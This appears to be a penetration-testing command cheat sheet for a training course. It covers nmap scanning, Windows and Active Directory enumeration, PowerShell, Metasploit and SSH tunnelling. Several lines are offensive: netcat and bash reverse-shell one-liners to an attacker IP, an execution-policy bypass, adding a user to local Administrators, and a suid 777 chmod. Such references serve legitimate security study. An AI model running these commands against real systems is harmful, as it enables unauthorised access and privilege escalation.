

Cheat-sheet: Useful Commands for AIH

\$ passwd	Change password
\$ python -m SimpleHTTPServer \$port	Start a python http server
\$ screen -S <NAME> (CTRL+A+D to background)	Start screen <NAME> and background
\$ screen -r \$name	Retrieve a screen session
\$ curl -X <http_method> http://website/url	Curl Basic
\$ wget http[s]://website/url	Download a file
\$ for i in \$(<filename>); do echo -n "\$i"; done	For loop
\$ for i in {1..X}; do echo \$i; done	For loop over number 1—X
\$ nc -lnvp <port>	Netcat listener
\$ nc -e /bin/sh attackerip <port>	Throw a reverse Shell
\$ bash -i >& /dev/tcp/<IP>/<port> 0>&1	Bash Reverse shell one liner
\$ john --format=<hash-fmt> --w=<password> <infile>	Hash Cracking with John
\$ john --format=<hash-fmt> --show <infile>	Show the cracked hashes

NMAP

# nmap -sV -A -p0-65535 -nvvv [host]	Full Port, no DNS, basic scripts, version finger print and verbose
# nmap -iL <infile> -oA <outfile> [host]	Input and output files
# nmap -T5 [host]	Aggressive / Faster scan
# nmap -sU -nvvv [host]	UDP Scanning
# nmap -6 -sU -p161 -iL <infile> --open -Pn -nvv	IPv6 Scanning specific port
# nmap -p88 --script=<scriptname> --script-args arg1='value' [host]	Nmap scripts with arguments

GIT Commands

\$ git clone [http ssh]://\$server/repo	Clone a repository
\$ git status	Current status of repository
\$ git add \$filename	Add \$filename to repository
\$ git commit -m "Comment"	Commit Changes
\$ git push	Update the repository

Windows Net Commands

\$ net user <username> /domain	User Information
\$ net user /domain	List of Domain Users
\$ net group "Domain Admins" /domain	List Domain Admins
# net user <user> <pass> /add	Add user
# net localgroup Administrators <user> /add	Add user to localadmin

Powershell

powershell -exec bypass	Bypass Execution Policy
powershell -command "& { iwr http://site:port/file}"	Download a file
invoke-command -scriptblock { \$command } -computer \$target	Start Interactive Session
Test-WSman -computer \$target	Test WinRM Service

Useful AD PowerShell cmdlets

\$Env:ADPS_LoadDefaultDrive = 0 Import-Module ActiveDirectory	Import Active Directory Module without loading AD Drive
Get-ADUser	Get AD User Information
Get-ADGroup	Get AD Group Information
Get-ADGroupMember	Get group membership details
Get-ADPrincipalGroupMembership	Get group membership details
New-ADUser	Create a new domain user
Add-ADGroupMember	Add user to specified group

Unix commands

\$ ssh-keygen	Generate a ssh keypair
\$ chmod 4777 \$file	Set suid bit + 777 perm (all rwx)
# adduser \$user -uid \$uid	Add user with specific \$uid
\$ proxychains nmap -sT -Pn -n [host] -p139,445	Command via proxychains routes traffic over socks proxy

Metasploit

# msfconsole	Launch Metasploit console
use <module_name>	Use an exploit / auxiliary
set <parameter_name> <parameter_value>	Set parameters
set payload <payload_name>	Set payload
run/exploit	Execute module
# msfconsole -x "use <module_name>; set <parameter_name> <parameter_value>; run; exit"	Run a module without going into console

SSH Commands

\$ ssh -i <sshkeys> <username>@<IP>	SSH login using keys
\$ ssh -F ~/.ssh/<config_file> <IP>	SSH using config file
\$ ssh -D<PORT> <username>@<IP>	SSH Dynamic port forwarding